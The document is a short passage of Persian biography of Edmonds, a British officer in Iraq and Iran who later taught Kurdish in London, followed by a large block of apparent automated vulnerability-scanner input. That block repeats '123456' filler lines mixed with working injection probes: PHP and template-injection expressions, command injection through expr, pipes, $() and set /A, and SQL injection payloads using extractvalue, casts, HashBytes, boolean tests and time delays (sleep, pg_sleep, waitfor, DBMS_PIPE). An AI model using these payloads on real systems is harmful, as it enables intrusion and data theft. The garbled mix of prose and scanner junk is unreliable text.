. پس از خدمت در سمتهای مهم در ایران و عراق در بین سالهای ۱۹۵۱ تا ۱۹۵۷، در «مرکز مطالعات ایرانی» دانشگاه لندن به تدریس زبان کردی پرداخت. در نشریات شرقشناسی مقالات متعدد به چاپ رساند و با همکاری توفیق وهبی فرهنگ کردی-انگلیسی تألیف کرد. خاطرات خود از عراق (۱۹۲۵-۱۹۱۹) را در کردها، ترک، عربها: سیاست سفر و پژوهش در شمال شرقی عراق به چاپ رساند. اما خاطرات او از ایران چاپنشده مانده بود. ادموندز در بوشهر افسرِ کنسول بود و در طی جنگ جهانی اول در نبردهای بریتانیا در بینالنهرین شرکت داشت. در لرستان با سمت افسر سیاسی در تشکیلاتِ امنیتیِ میدانهای نفتی مشغول به کار شد و پس از پایان جنگ به شمال ایران اعزام شد و شاهد بلاواسطهٔ غائلهٔ جنگل و کودتای ۱۲۹۹/۱۹۲۱ بود.
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
${@var_dump(md5(205826465))};
123456
'-var_dump(md5(762101794))-'
123456
${802972850+885006009}
123456
expr 819449880 + 895981710
123456
123456
123456|expr 801001664 + 806687545
123456
123456
123456$(expr 958487330 + 903670928)
123456
123456
123456
123456
123456&set /A 939204828+953175431
123456
123456
expr 956839479 + 831517603
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
/*1*/{{805594111+951999231}}
123456
123456
123456
123456
123456
${931224784+979238454}
123456
123456
${(991546015+841975428)?c}
123456
123456
#set($c=825098846+888977719)${c}$c
123456
123456
<%- 846130457+851630754 %>
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456'and/**/extractvalue(1,concat(char(126),md5(1733696354)))and'
123456
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1961542647)))and"
123456
123456
123456
extractvalue(1,concat(char(126),md5(1891532076)))
123456
123456
123456'and(select'1'from/**/cast(md5(1160143086)as/**/int))>'0
123456
123456
123456/**/and/**/cast(md5('1140160661')as/**/int)>0
123456
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1736492176')))
123456
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1597553719')))>'0
123456
123456
123456鎈'"\(
123456
123456
123456'"\(
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456/**/and+2=2
123456/**/and+0=6
123456'and'g'='g
123456'and'm'='f
123456"and"y"="y
123456"and"g"="x
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(6)union/**/select+1)a)
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(6))a/**/union/**/select+1)='
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(6))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(6))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(6))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:6
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('k',0)
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('w',6)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',0)='h
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',6)='x